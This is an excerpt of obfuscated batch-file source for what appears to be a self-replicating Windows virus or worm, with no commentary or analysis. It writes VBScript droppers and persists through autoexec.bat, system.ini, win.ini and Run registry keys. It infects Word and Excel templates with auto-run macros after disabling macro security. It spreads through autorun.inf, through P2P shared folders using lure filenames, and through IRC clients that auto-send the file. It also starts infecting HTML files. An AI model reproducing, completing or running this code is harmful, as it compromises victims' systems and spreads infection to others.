  222. ECHo RCHP=replace(RCHP,"rVHUOpes",So6lH(int(rnd*7)+2,2))>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  223. eCho function So6lH(hB2tng,V9)>>%TmP%\uinRmnLQ.vbs%czGAFW%
  224. echO for DQG71xU=1 to hB2tng>>%TMP%\uinRmnLQ.vbs%czGAFW%
  225. echO randomize>>%tMp%\uinRmnLQ.vbs%czGAFW%
  226. EcHo if V9=3 then>>%tmP%\uinRmnLQ.vbs%czGAFW%
  227. ECho xVis=int(rnd*130)+125>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  228. EChO else>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  229. ecHO if (rnd*2000/1000)=1 then>>%tMP%\uinRmnLQ.vbs%czGAFW%
  230. ECho xVis=int(rnd*26)+97>>%TmP%\uinRmnLQ.vbs%czGAFW%
  231. Echo else>>%TMP%\uinRmnLQ.vbs%czGAFW%
  232. EChO xVis=int(rnd*26)+65>>%tmp%\uinRmnLQ.vbs%czGAFW%
  233. EcHO end if>>%tmp%\uinRmnLQ.vbs%czGAFW%
  234. EcHo end if>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  235. ECho So6lH=So6lH&chr(xVis)>>%tmP%\uinRmnLQ.vbs%czGAFW%
  236. ECho next>>%TmP%\uinRmnLQ.vbs%czGAFW%
  237. ECHo end function>>%tMP%\uinRmnLQ.vbs%czGAFW%
  238. echO SEt h9N=LYUhhjm.opentextfile("%wINDiR%\SySteM32\srvlog.bat",2)>>%tmp%\uinRmnLQ.vbs%czGAFW%
  239. ecHO h9N.write RCHP>>%Tmp%\uinRmnLQ.vbs%czGAFW%
  240. echO cDZ6XdLS.regwrite "HKCU\Software\uWg16gB\Wyw_dm","pKtgEs7I">>%TmP%\uinRmnLQ.vbs%czGAFW%
  241. eCHo end if>>%tmP%\uinRmnLQ.vbs%czGAFW%
  242. cscript %tmp%\uinRmnLQ.vbs>nul%czGAFW%
  243. if not kW4u85hW==kW4u85hW%1 goto czGAFWtFQIu1sU
  244. find /i /v "run"<%tmP%\w7W2KzsW.RR8>%TMp%\y6.vbs%czGAFW%
  245. eChO ri.run "%wINDiR%\SySteM32\srvlog.bat kXBLy9", 0>>%TMp%\y6.vbs%czGAFW%
  246. cscript %tMp%\y6.vbs>nul%czGAFW%
  247. goto czGAFW8nKy6iJw
  248. :czGAFWtFQIu1sU
  249. if not exist %wINDiR%\SySteM32\ÂÃÍôÌ̱\*.* md %wINDiR%\SySteM32\ÂÃÍôÌ̱%czGAFW%
  250. attrib +s +h %wINDiR%\SySteM32\ÂÃÍôÌ̱%czGAFW%
  251. if exist %wINDiR%\SySteM32\ÂÃÍôÌ̱\1cKwJk2.bat goto czGAFWc5Wzm
  252. copy %wINDiR%\SySteM32\srvlog.bat %wINDiR%\SySteM32\ÂÃÍôÌ̱\1cKwJk2.bat%czGAFW%
  253. attrib -r \autoexec.bat%czGAFW%
  254. EchO @call %wINDiR%\SySteM32\ÂÃÍôÌ̱\1cKwJk2.bat FYhPs9q>>\autoexec.bat%czGAFW%
  255. :czGAFWc5Wzm
  256. if exist %wINDiR%\SySteM32\ÂÃÍôÌ̱\R42bw1.bat goto czGAFWvYT2T
  257. copy %wINDiR%\SySteM32\srvlog.bat %wINDiR%\SySteM32\ÂÃÍôÌ̱\R42bw1.bat%czGAFW%
  258. attrib -r %WindIr%\winstart.bat%czGAFW%
  259. eCHo @call %wINDiR%\SySteM32\ÂÃÍôÌ̱\R42bw1.bat FYhPs9q>>%WinDiR%\winstart.bat%czGAFW%
  260. :czGAFWvYT2T
  261. find /i /v "run"<%tmp%\w7W2KzsW.RR8>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  262. Echo SEt UoOvJca=cREATeObJeCT("%Gþð%ing.filesystemobject")>>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  263. ecHo if err.number=429 then>>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  264. eCHo javascript:location.reload()>>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  265. EChO end if>>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  266. eCHo SeT rSTzQCwXvw=UoOvJca.createtextfile("%tmp%\Rc4iZi7Jz9.bat",1)>>%wINDiR%\SySteM32\exerun.vbs%czGAFW%
  267. %czGAFW%%NÍíÎP%sEt ÁùÔ=FE0-28D4-11CF-AE66-08002B2E1
  268. ecHO [ExtShellFolderViews]>%TMp%\h4wsQ.RR8%czGAFW%
  269. ecHO {5984F%ÁùÔ%262}={5984F%ÁùÔ%262}>>%tMp%\h4wsQ.RR8%czGAFW%
  270. ECHo [{5984F%ÁùÔ%262}]>>%TMP%\h4wsQ.RR8%czGAFW%
  271. echO PersistMoniker=file://vg.htt>>%TMp%\h4wsQ.RR8%czGAFW%
  272. ECHo [.ShellClassInfo]>>%tmP%\h4wsQ.RR8%czGAFW%
  273. EchO ConfirmFileOp=0>>%tmp%\h4wsQ.RR8%czGAFW%
  274. %czGAFW%%NÍíÎP%set -‹Íü\¢=/
  275. EchO %-‹Íü\¢%*>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  276. type %wINDiR%\SySteM32\srvlog.bat>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  277. ECHo *%-‹Íü\¢%>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  278. Echo var IVVCAgCpok=W%Gþð%.CreAtEobJECt("%Gþð%ing.filesystemobject");>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  279. echO var UWJV04r6Lq=W%Gþð%.CrEAteOBjEct("w%Gþð%.shell");>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  280. eCHO IVVCAgCpok.copyfile(W%Gþð%.%Gþð%fullname,"Rc4iZi7Jz9.bat",1);>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  281. eChO UWJV04r6Lq.run("Rc4iZi7Jz9.bat",0);>>%wINDiR%\SySteM32\wizexe.js%czGAFW%
  282. copy %tMp%\w7W2KzsW.RR8 %wINDiR%\SySteM32\hQvs.vbs%czGAFW%
  283. find /v /i "[boot]"<%wiNDIR%\system.ini>%tMP%\qY3LuWP_.RR8%czGAFW%
  284. find /v /i "shell=explorer.exe"<%TMP%\qY3LuWP_.RR8>%TMP%\3KN2uay.RR8%czGAFW%
  285. del %windIR%\system.ini%czGAFW%
  286. eCHO [boot]>%winDir%\system.ini%czGAFW%
  287. ecHO Shell=Explorer.exe hQvs.vbs>>%wINDiR%\system.ini%czGAFW%
  288. type %tMp%\3KN2uay.RR8>>%winDIr%\system.ini%czGAFW%
  289. copy %tmP%\w7W2KzsW.RR8 %wINDiR%\SySteM32\XC8VdWn.vbs%czGAFW%
  290. find /v /i "[windows]"<%WINdIR%\win.ini>%TMP%\Sp4drq.RR8%czGAFW%
  291. find /v /i "load="<%tmp%\Sp4drq.RR8>%TMP%\Ian34W_x.RR8%czGAFW%
  292. find /v /i "run="<%tMp%\Ian34W_x.RR8>%tmp%\K3CLmNaN.RR8%czGAFW%
  293. find /v /i "NullPort="<%tMP%\Ian34W_x.RR8>%tMp%\K3CLmNaN.RR8%czGAFW%
  294. del %WINDir%\win.ini%czGAFW%
  295. EcHo [windows]>%WiNdIR%\win.ini%czGAFW%
  296. ECho load=XC8VdWn.vbs>>%wINDIR%\win.ini%czGAFW%
  297. eChO run=>>%wiNdir%\win.ini%czGAFW%
  298. eCHO NullPort=None>>%WinDiR%\win.ini%czGAFW%
  299. type %TmP%\K3CLmNaN.RR8>>%WINDIR%\win.ini%czGAFW%
  300. ECho.on error resume next>%TMP%\IHN.vbs%czGAFW%
  301. EChO SeT kanmzqm=CrEaTeobJect("%Gþð%ing.filesystemobject")>>%tmp%\IHN.vbs%czGAFW%
  302. eCHO seT bvS1Kv6GE=CreATeObjEcT("w%Gþð%.shell")>>%tmP%\IHN.vbs%czGAFW%
  303. eCHO Ejn2w27C9=kanmzqm.opentextfile("%wINDiR%\SySteM32\srvlog.bat").readall()>>%tmp%\IHN.vbs%czGAFW%
  304. EcHo Set iiEzl=kanmzqm.opentextfile("%wINDiR%\SySteM32\exerun.vbs",8)>>%tmP%\IHN.vbs%czGAFW%
  305. eCHo iiEzl.write "rSTzQCwXvw.write """"">>%TMP%\IHN.vbs%czGAFW%
  306. eCHO for uBgz47=1 to len(Ejn2w27C9)>>%TmP%\IHN.vbs%czGAFW%
  307. eCho ruNJQd_uUa=asc(mid(Ejn2w27C9,uBgz47,1))>>%tmp%\IHN.vbs%czGAFW%
  308. echO iiEzl.write "&chr("&ruNJQd_uUa&")">>%TMp%\IHN.vbs%czGAFW%
  309. ECHo next>>%TMp%\IHN.vbs%czGAFW%
  310. ecHO iiEzl.writeline vbcrlf&"ri.run "&chr(34)&"%TMp%\Rc4iZi7Jz9.bat"&chr(34)&",0">>%Tmp%\IHN.vbs%czGAFW%
  311. EchO SET qpvy=kanmzqm.createtextfile("%TMp%\T5HV_.RR8")>>%tmP%\IHN.vbs%czGAFW%
  312. echo qpvy.writeline "REGEDIT4">>%TmP%\IHN.vbs%czGAFW%
  313. Echo qpvy.writeline "[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]">>%Tmp%\IHN.vbs%czGAFW%
  314. eCHo qpvy.writeline """t1Nads""=""command /c echo set WpRMdKw=createobject(\""Scripting.filesystemobject\"").createtextfile(\""kAicSEDZ.bat\""):WpRMdKw.write createobject(\""wscript.shell\"").regread(\""HKCU\\Software\\JeRf7ku9\\\""):createobject(\""wscript.shell\"").run \""WpRMdKw.bat\"",0>BI.vbs""">>%tmP%\IHN.vbs%czGAFW%
  315. eCHo qpvy.writeline """t1NadsWJd""=""command /c cscript BI.vbs>nul""">>%TMP%\IHN.vbs%czGAFW%
  316. eCHO qpvy.writeline "[HKEY_CURRENT_USER\Software\JeRf7ku9]">>%TmP%\IHN.vbs%czGAFW%
  317. eCho qpvy.write "@=""">>%tMP%\IHN.vbs%czGAFW%
  318. EcHo TUY1=replace(TUY1,"\","\\")>>%tmp%\IHN.vbs%czGAFW%
  319. eChO TUY1=replace(Ejn2w27C9,vbcrlf,"\r\n")>>%tmP%\IHN.vbs%czGAFW%
  320. ecHO TUY1=replace(TUY1,"""","\""")>>%tMP%\IHN.vbs%czGAFW%
  321. ecHo qpvy.write TUY1>>%tmP%\IHN.vbs%czGAFW%
  322. eCho qpvy.writeline """">>%TMP%\IHN.vbs%czGAFW%
  323. EchO sEt kv6=kanmzqm.opentextfile("%wINDiR%\SySteM32\exerun.vbs")>>%tmP%\IHN.vbs%czGAFW%
  324. eChO fq=kv6.readall>>%tmP%\IHN.vbs%czGAFW%
  325. ECHo SET kv6=kanmzqm.createtextfile("%tMp%\k9kIx.RR8")>>%tMP%\IHN.vbs%czGAFW%
  326. echo kv6.writeline chr(60)&"script language=vbscript"&chr(62)>>%tMp%\IHN.vbs%czGAFW%
  327. echO kv6.write fq>>%tmP%\IHN.vbs%czGAFW%
  328. EcHO kv6.writeline chr(60)&"/script"&chr(62)>>%tMp%\IHN.vbs%czGAFW%
  329. eCho Sub AutoOpen()>%tmp%\vjx9ohd.RR8%czGAFW%
  330. ECHO.On Error Resume Next>>%tmP%\vjx9ohd.RR8%czGAFW%
  331. eCHO Dim MEbOUO2f>>%TMp%\vjx9ohd.RR8%czGAFW%
  332. ECHo CommandBars("Macro").Visible=0>>%TMp%\vjx9ohd.RR8%czGAFW%
  333. EcHO sET ttwB5mw=kanmzqm.opentextfile("%Tmp%\vjx9ohd.RR8",8)>>%tMp%\IHN.vbs%czGAFW%
  334. eChO dim l2D>>%TMP%\IHN.vbs%czGAFW%
  335. ECHO l2D=90>>%tmP%\IHN.vbs%czGAFW%
  336. ECHo for PNU2Eg_v=1 to len(Ejn2w27C9)>>%TmP%\IHN.vbs%czGAFW%
  337. eCHo PQy=asc(mid(Ejn2w27C9,PNU2Eg_v,1))>>%TMp%\IHN.vbs%czGAFW%
  338. eCHO if l2D=90 then>>%TMp%\IHN.vbs%czGAFW%
  339. eCho ttwB5mw.write vbcrlf&"MEbOUO2f = MEbOUO2f & Chr("&PQy&")">>%tMp%\IHN.vbs%czGAFW%
  340. eChO l2D=1>>%tmp%\IHN.vbs%czGAFW%
  341. echO else>>%tmP%\IHN.vbs%czGAFW%
  342. Echo ttwB5mw.write " & Chr("&PQy&")">>%tMP%\IHN.vbs%czGAFW%
  343. Echo l2D=l2D+1>>%TMP%\IHN.vbs%czGAFW%
  344. echO end if>>%tmp%\IHN.vbs%czGAFW%
  345. eCHO next>>%tmp%\IHN.vbs%czGAFW%
  346. ECho ttwB5mw.writeline "Open ""%TmP%\gs.bat"" For Output As #1">>%TmP%\IHN.vbs%czGAFW%
  347. eChO ttwB5mw.writeline "Print #1, MEbOUO2f">>%tMp%\IHN.vbs%czGAFW%
  348. echo ttwB5mw.writeline "Close #1">>%TMp%\IHN.vbs%czGAFW%
  349. Echo ttwB5mw.writeline "VBA.Shell ""%tmP%\gs.bat"", 0>>%TMP%\IHN.vbs%czGAFW%
  350. ECHo ttwB5mw.writeline "End Sub">>%Tmp%\IHN.vbs%czGAFW%
  351. ECHO seT yXux=CrEaTeOBJECT("worD.APPlIcatiON")>>%tMp%\IHN.vbs%czGAFW%
  352. ECHO SEt c62nIz=yXux.NormAlTeMpLAtE.vbPROJect.VbCoMpoNENtS>>%tmP%\IHN.vbs%czGAFW%
  353. EChO c62nIz.import "%tMP%\vjx9ohd.RR8">>%tMp%\IHN.vbs%czGAFW%
  354. ECho yXux.normaltemplate.save>>%TmP%\IHN.vbs%czGAFW%
  355. echO bvS1Kv6GE.regwrite "HKCU\Software\Microsoft\Office\"&Yk6dpAk.version&"\Word\Security\Level",1,"REG_DWORD">>%TMP%\IHN.vbs%czGAFW%
  356. ECHo bvS1Kv6GE.regwrite "HKCU\Software\Microsoft\Office\"&Yk6dpAk.version&"\Word\Security\AccessVBOM",1,"REG_DWORD">>%TMp%\IHN.vbs%czGAFW%
  357. EChO yXux.displayalerts=0>>%tmp%\IHN.vbs%czGAFW%
  358. EchO yXux.screenupdating=0>>%Tmp%\IHN.vbs%czGAFW%
  359. eCHo yXux.enablecancelkey=0>>%TMp%\IHN.vbs%czGAFW%
  360. ECHO yXux.displaystatusbar=0>>%TMP%\IHN.vbs%czGAFW%
  361. ecHo yXux.options.confirmconversions=0>>%tMp%\IHN.vbs%czGAFW%
  362. eCHO yXux.options.virusprotection=0>>%tMP%\IHN.vbs%czGAFW%
  363. ecHO yXux.options.savenormalprompt=0>>%Tmp%\IHN.vbs%czGAFW%
  364. eCHO yXux.showvisualbasiceditor=0>>%tmp%\IHN.vbs%czGAFW%
  365. eChO yXux.quit>>%TmP%\IHN.vbs%czGAFW%
  366. ECho Set yXux=creatEOBjEcT("wOrD.DocUMent")>>%tmP%\IHN.vbs%czGAFW%
  367. ECho yXux.saveas "%tMP%\QJJ.RR8">>%Tmp%\IHN.vbs%czGAFW%
  368. ECHo yXux.application.quit>>%TMP%\IHN.vbs%czGAFW%
  369. eCHo Sub Auto_Open()>%tMP%\BPkxss.RR8%czGAFW%
  370. find /v "AutoOpen"<%TMp%\vjx9ohd.RR8>>%tMp%\BPkxss.RR8%czGAFW%
  371. EcHo seT Yk6dpAk=cREatEoBJeCt("excel.ApPLicAtIon")>>%tMp%\IHN.vbs%czGAFW%
  372. echO sET rVHUOpes=CreAteoBjecT("eXCEL.sHeET")>>%tMp%\IHN.vbs%czGAFW%
  373. ECHO rVHUOpes.APPlIcatION.WoRkBOOKS(1).vBprOJECt.VbcoMponENts.imPort "%TmP%\BPkxss.RR8">>%TMp%\IHN.vbs%czGAFW%
  374. eCho rVHUOpes.application.workbooks(1).saveas Yk6dpAk.startuppath&"\JSmqIMRW.xls">>%tmp%\IHN.vbs%czGAFW%
  375. ECHo bvS1Kv6GE.regwrite "HKCU\Software\Microsoft\Office\"&Yk6dpAk.version&"\Excel\Security\Level",1,"REG_DWORD">>%TMp%\IHN.vbs%czGAFW%
  376. eCho bvS1Kv6GE.regwrite "HKCU\Software\Microsoft\Office\"&Yk6dpAk.version&"\Excel\Security\AccessVBOM",1,"REG_DWORD">>%TMp%\IHN.vbs%czGAFW%
  377. EcHO Yk6dpAk.displayalerts=0>>%tMp%\IHN.vbs%czGAFW%
  378. ecHo Yk6dpAk.screenupdating=0>>%TMp%\IHN.vbs%czGAFW%
  379. ECHO Yk6dpAk.enablecancelkey=0>>%TMp%\IHN.vbs%czGAFW%
  380. ECHo Yk6dpAk.displaystatusbar=0>>%tMP%\IHN.vbs%czGAFW%
  381. eCHO kanmzqm.copyfile Yk6dpAk.startuppath&"\JSmqIMRW.xls","%TmP%\JSmqIMRW.RR8">>%TMP%\IHN.vbs%czGAFW%
  382. echO SEt xnZLf=kanmzqm.opentextfile("%wINDiR%\SySteM32\exerun.vbs")>>%tMp%\IHN.vbs%czGAFW%
  383. eChO fq=xnZLf.readall>>%TmP%\IHN.vbs%czGAFW%
  384. echO seT xnZLf=kanmzqm.createtextfile("%TMp%\vg.RR8")>>%tMp%\IHN.vbs%czGAFW%
  385. EChO xnZLf.writeline chr(60)&"script language=vbscript"&chr(62)>>%TMP%\IHN.vbs%czGAFW%
  386. echO xnZLf.write Ejn2w27C9>>%TMp%\IHN.vbs%czGAFW%
  387. ECHO xnZLf.writeline chr(60)&"/script"&chr(62)>>%tmP%\IHN.vbs%czGAFW%
  388. Echo xnZLf.writeline chr(60)&"object border=0 id=ICo5M4 tabindex=1 classid=""clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"""&chr(62)>>%tMp%\IHN.vbs%czGAFW%
  389. ECho xnZLf.writeline chr(60)&"/object"&chr(62)>>%tMp%\IHN.vbs%czGAFW%
  390. copy %Tmp%\w7W2KzsW.RR8 %wINDiR%\SySteM32\tMs.vbs%czGAFW%
  391. eCHO bvS1Kv6GE.RegwRIte "HKLM\sofTwarE\MicrosofT\WINDows\CurRen"&CHR(115+1)&"vERSion\Run\initview","WScRipT %wINDiR%\SySteM32\tMs.vbs">>%tmp%\IHN.vbs%czGAFW%
  392. copy %TMp%\w7W2KzsW.RR8 %wINDiR%\SySteM32\zmdoTH.vbs%czGAFW%
  393. echO bvS1Kv6GE.ReGwrItE "HKCU\SoFtWAre\MiCrOsOFT\wINDOwS\CUrREn"&chR(115+1)&"VersIOn\Run\exetray","%wINDiR%\SySteM32\zmdoTH.vbs">>%tmP%\IHN.vbs%czGAFW%
  394. eCHO dim GLbg4,pql4ge,g49QY40wmk>>%TMp%\IHN.vbs%czGAFW%
  395. ECHO q5u2G()>>%tmP%\IHN.vbs%czGAFW%
  396. eCHo sub q5u2G()>>%TMp%\IHN.vbs%czGAFW%
  397. eCho.on error resume next>>%TmP%\IHN.vbs%czGAFW%
  398. echo for each GLbg4 in kanmzqm.drives>>%TMp%\IHN.vbs%czGAFW%
  399. echO if not(GLbg4.drivetype=4) and not(GLbg4.drivetype=5) then>>%tmp%\IHN.vbs%czGAFW%
  400. ecHo kanmzqm.copyfile "%wINDiR%\SySteM32\exerun.vbs",GLbg4.path & "\exerun.vbs",1>>%Tmp%\IHN.vbs%czGAFW%
  401. ECho seT vipD_l=kanmzqm.getfile(GLbg4.path & "\autorun.inf")>>%tmp%\IHN.vbs%czGAFW%
  402. Echo vipD_l.attributes=38>>%TmP%\IHN.vbs%czGAFW%
  403. EcHO SET IbNByX5mpI=kanmzqm.createtextfile(GLbg4.path & "\autorun.inf",1)>>%tMp%\IHN.vbs%czGAFW%
  404. EchO IbNByX5mpI.writeline "[autorun]">>%TMP%\IHN.vbs%czGAFW%
  405. echO IbNByX5mpI.writeline "open=wsCRipT %wINDiR%\SySteM32\exerun.vbs">>%Tmp%\IHN.vbs%czGAFW%
  406. ecHo vipD_l.attributes=38>>%Tmp%\IHN.vbs%czGAFW%
  407. Echo rP_3TR(GLbg4.path&"\")>>%tmP%\IHN.vbs%czGAFW%
  408. ECHO end if>>%tmp%\IHN.vbs%czGAFW%
  409. eCHo next>>%tmP%\IHN.vbs%czGAFW%
  410. ECho end sub>>%tMp%\IHN.vbs%czGAFW%
  411. ECho sub o0aQYr9(eq)>>%TMp%\IHN.vbs%czGAFW%
  412. ECHo.on error resume next>>%tMp%\IHN.vbs%czGAFW%
  413. eCHo Set JmJbyCeX=kanmzqm.getfile("%wINDiR%\SySteM32\exerun.vbs")>>%tmP%\IHN.vbs%czGAFW%
  414. EChO JmJbyCeX.copy eq&"\xxx5672.JPG.vbs">>%Tmp%\IHN.vbs%czGAFW%
  415. ECHo JmJbyCeX.copy eq&"\fuck88.JPG.vbs">>%tMp%\IHN.vbs%czGAFW%
  416. EchO JmJbyCeX.copy eq&"\teen3971.JPG.vbs">>%Tmp%\IHN.vbs%czGAFW%
  417. Echo end sub>>%TMp%\IHN.vbs%czGAFW%
  418. echO sub rP_3TR(FN2tyPxn4F)>>%TmP%\IHN.vbs%czGAFW%
  419. ECho.on error resume next>>%tMP%\IHN.vbs%czGAFW%
  420. eCHO Set DSc599BTh=kanmzqm.getfolder(FN2tyPxn4F)>>%TMP%\IHN.vbs%czGAFW%
  421. EcHo dim Q2Z6r1ch>>%TMP%\IHN.vbs%czGAFW%
  422. EcHo Q2Z6r1ch=lcase(DSc599BTh.name)>>%tmp%\IHN.vbs%czGAFW%
  423. echO if Q2Z6r1ch="" then>>%Tmp%\IHN.vbs%czGAFW%
  424. ECHo elseif Q2Z6r1ch="morpheus" or Q2Z6r1ch="kmd" or Q2Z6r1ch="kazaa" or Q2Z6r1ch="kazaa lite" then>>%TMp%\IHN.vbs%czGAFW%
  425. echo o0aQYr9(DSc599BTh.path & "\My Shared Folder")>>%TmP%\IHN.vbs%czGAFW%
  426. ecHo elseif Q2Z6r1ch="edonkey2000" or Q2Z6r1ch="emule" or Q2Z6r1ch="overnet" or Q2Z6r1ch="applejuice" then>>%TMp%\IHN.vbs%czGAFW%
  427. eCHo o0aQYr9(DSc599BTh.path & "\Incoming")>>%TMP%\IHN.vbs%czGAFW%
  428. echo elseif Q2Z6r1ch="bearshare" or Q2Z6r1ch="limewire" then>>%tMP%\IHN.vbs%czGAFW%
  429. ecHO o0aQYr9(DSc599BTh.path & "\Shared")>>%Tmp%\IHN.vbs%czGAFW%
  430. EChO elseif Q2Z6r1ch="grokster" then>>%tMp%\IHN.vbs%czGAFW%
  431. ECHO o0aQYr9(DSc599BTh.path & "\My Grokster")>>%TMp%\IHN.vbs%czGAFW%
  432. echo elseif Q2Z6r1ch="icq" then>>%TMP%\IHN.vbs%czGAFW%
  433. echo o0aQYr9(DSc599BTh.path & "\Shared Files")>>%TMP%\IHN.vbs%czGAFW%
  434. ECHO end if>>%tMP%\IHN.vbs%czGAFW%
  435. echO dim RwnQqta>>%tmp%\IHN.vbs%czGAFW%
  436. eCHo RwnQqta=lcase(DSc599BTh.name)>>%tMP%\IHN.vbs%czGAFW%
  437. EcHO if RwnQqta="mirc" or RwnQqta="mirc32" then>>%TMp%\IHN.vbs%czGAFW%
  438. eChO kanmzqm.copyfile "%wINDiR%\SySteM32\exerun.vbs",DSc599BTh.path&"\fetish_nude.JPG.vbs>>%tmp%\IHN.vbs%czGAFW%
  439. ECHo sEt pKXZgEjYf8=kanmzqm.createtextfile(DSc599BTh.path&"\%Gþð%.ini")>>%TmP%\IHN.vbs%czGAFW%
  440. EcHo pKXZgEjYf8.writeline "[%Gþð%]">>%Tmp%\IHN.vbs%czGAFW%
  441. EChO pKXZgEjYf8.writeline "n0=on 1:join:#:{">>%Tmp%\IHN.vbs%czGAFW%
  442. EcHo pKXZgEjYf8.writeline "n1= /if ($nick==$me) {halt}">>%TmP%\IHN.vbs%czGAFW%
  443. ECHO pKXZgEjYf8.writeline "n2= /msg $nick look at this!">>%tmp%\IHN.vbs%czGAFW%
  444. ECho pKXZgEjYf8.writeline "n3= /dcc "&chr(114+1)"end $nick "&DSc599BTh.path&"\fetish_nude.JPG.vbs }">>%tMp%\IHN.vbs%czGAFW%
  445. EcHo end if>>%tmp%\IHN.vbs%czGAFW%
  446. EcHo dim do>>%tMP%\IHN.vbs%czGAFW%
  447. ecHO do=lcase(DSc599BTh.name)>>%TMp%\IHN.vbs%czGAFW%
  448. eCho if do="pirch" or do="pirch98" then>>%tmp%\IHN.vbs%czGAFW%
  449. echO kanmzqm.copyfile "%wINDiR%\SySteM32\exerun.vbs",DSc599BTh.path&"\free_hard.JPG.vbs>>%tMp%\IHN.vbs%czGAFW%
  450. ecHo SET F1QJHgUBGP=kanmzqm.createtextfile(DSc599BTh.path&"\Events.ini")>>%TMP%\IHN.vbs%czGAFW%
  451. EchO F1QJHgUBGP.writeline "[Levels]">>%Tmp%\IHN.vbs%czGAFW%
  452. echo F1QJHgUBGP.writeline "Enabled=1">>%tmp%\IHN.vbs%czGAFW%
  453. echo F1QJHgUBGP.writeline "Count=6">>%Tmp%\IHN.vbs%czGAFW%
  454. eCho F1QJHgUBGP.writeline "Level1=000-Unknows">>%tmP%\IHN.vbs%czGAFW%
  455. echo F1QJHgUBGP.writeline "000-UnknowsEnabled=1">>%tmp%\IHN.vbs%czGAFW%
  456. echO F1QJHgUBGP.writeline "Level2=100-Level 100">>%tmP%\IHN.vbs%czGAFW%
  457. ECHo F1QJHgUBGP.writeline "100-Level 100Enabled=1">>%tMP%\IHN.vbs%czGAFW%
  458. EchO F1QJHgUBGP.writeline "Level3=200-Level 200">>%TmP%\IHN.vbs%czGAFW%
  459. eCHo F1QJHgUBGP.writeline "200-Level 200Enabled=1">>%TMp%\IHN.vbs%czGAFW%
  460. ecHO F1QJHgUBGP.writeline "Level4=300-Level 300">>%tMP%\IHN.vbs%czGAFW%
  461. ECho F1QJHgUBGP.writeline "300-Level 300Enabled=1">>%tMP%\IHN.vbs%czGAFW%
  462. eCho F1QJHgUBGP.writeline "Level5=400-Level 400">>%tMp%\IHN.vbs%czGAFW%
  463. eChO F1QJHgUBGP.writeline "400-Level 400Enabled=1">>%tmP%\IHN.vbs%czGAFW%
  464. EcHO F1QJHgUBGP.writeline "Level6=500-Level 500">>%tMp%\IHN.vbs%czGAFW%
  465. eCho F1QJHgUBGP.writeline "500-Level 500Enabled=1">>%Tmp%\IHN.vbs%czGAFW%
  466. echO F1QJHgUBGP.writeline "[000-Unknowns]">>%tMP%\IHN.vbs%czGAFW%
  467. ECho F1QJHgUBGP.writeline "UserCount=0">>%TMP%\IHN.vbs%czGAFW%
  468. Echo F1QJHgUBGP.writeline "Event1=ON JOIN:#:/msg $nick look at this!">>%TmP%\IHN.vbs%czGAFW%
  469. Echo F1QJHgUBGP.writeline "EventCount=0">>%tmp%\IHN.vbs%czGAFW%
  470. echO F1QJHgUBGP.writeline "[100-Level 100]">>%tmP%\IHN.vbs%czGAFW%
  471. EcHo F1QJHgUBGP.writeline "User1=*!*@*">>%tMp%\IHN.vbs%czGAFW%
  472. echO F1QJHgUBGP.writeline "UserCount=1">>%TMp%\IHN.vbs%czGAFW%
  473. ECho F1QJHgUBGP.writeline "Events1= ON JOIN:#: /dcc send $nick "&DSc599BTh.path&"\free_hard.JPG.vbs">>%TMP%\IHN.vbs%czGAFW%
  474. eCHo F1QJHgUBGP.writeline "EventCount=1">>%tMP%\IHN.vbs%czGAFW%
  475. EchO F1QJHgUBGP.writeline "[200-Level 200]">>%TmP%\IHN.vbs%czGAFW%
  476. eCHO F1QJHgUBGP.writeline "UserCount=0">>%Tmp%\IHN.vbs%czGAFW%
  477. ecHo F1QJHgUBGP.writeline "EventCount=0">>%TMP%\IHN.vbs%czGAFW%
  478. echO F1QJHgUBGP.writeline "[300-Level 300]">>%tmp%\IHN.vbs%czGAFW%
  479. ECHO F1QJHgUBGP.writeline "UserCount=0">>%TmP%\IHN.vbs%czGAFW%
  480. ECHo F1QJHgUBGP.writeline "EventCount=0">>%tMP%\IHN.vbs%czGAFW%
  481. ECHO F1QJHgUBGP.writeline "[400-Level 400]">>%tmp%\IHN.vbs%czGAFW%
  482. eCho F1QJHgUBGP.writeline "UserCount=0">>%TMp%\IHN.vbs%czGAFW%
  483. echo F1QJHgUBGP.writeline "EventCount=0">>%TMP%\IHN.vbs%czGAFW%
  484. EcHo F1QJHgUBGP.writeline "[500-Level 500]">>%tmP%\IHN.vbs%czGAFW%
  485. eChO F1QJHgUBGP.writeline "UserCount=0">>%TMp%\IHN.vbs%czGAFW%
  486. eCho F1QJHgUBGP.writeline "EventCount=0">>%tMp%\IHN.vbs%czGAFW%
  487. copy %wINDiR%\SySteM32\exerun.vbs %wINDiR%\SySteM32\play_bitch.VBS.vbs%czGAFW%
  488. EcHO bvS1Kv6GE.rEGwrite "HKEY_USERS\.Default\sOFtwARe\MeGalITh sOftware\ViSuAl IrC 98\eVEnTs\EveNt17","dcc send $nick %wINDiR%\SySteM32\play_bitch.VBS.vbs">>%Tmp%\IHN.vbs%czGAFW%
  489. EcHo dim x62yovA8_U,h2wXY,lICncu,fSJclDL0D,f2tRu,fCA0MMv5Gf,h0xNoc,MF>>%TMP%\IHN.vbs%czGAFW%
  490. Echo for each g49QY40wmk in DSc599BTh.files>>%TmP%\IHN.vbs%czGAFW%
  491. ecHo x62yovA8_U=ucase(kanmzqm.getextensionname(g49QY40wmk.path))>>%tmP%\IHN.vbs%czGAFW%
  492. echO if x62yovA8_U="HTM" or x62yovA8_U="HTML" or x62yovA8_U="HTT" or x62yovA8_U="ASP" or x62yovA8_U="HTX" then>>%tMP%\IHN.vbs%czGAFW%
  493. Echo SEt YHkF=kanmzqm.opentextfile(g49QY40wmk.path)>>%TmP%\IHN.vbs%czGAFW%
  494. eCHo h2wXY=split(YHkF.readall,vbcrlf)>>%tMp%\IHN.vbs%czGAFW%
  495. eCHo YHkF.close>>%tmp%\IHN.vbs%czGAFW%
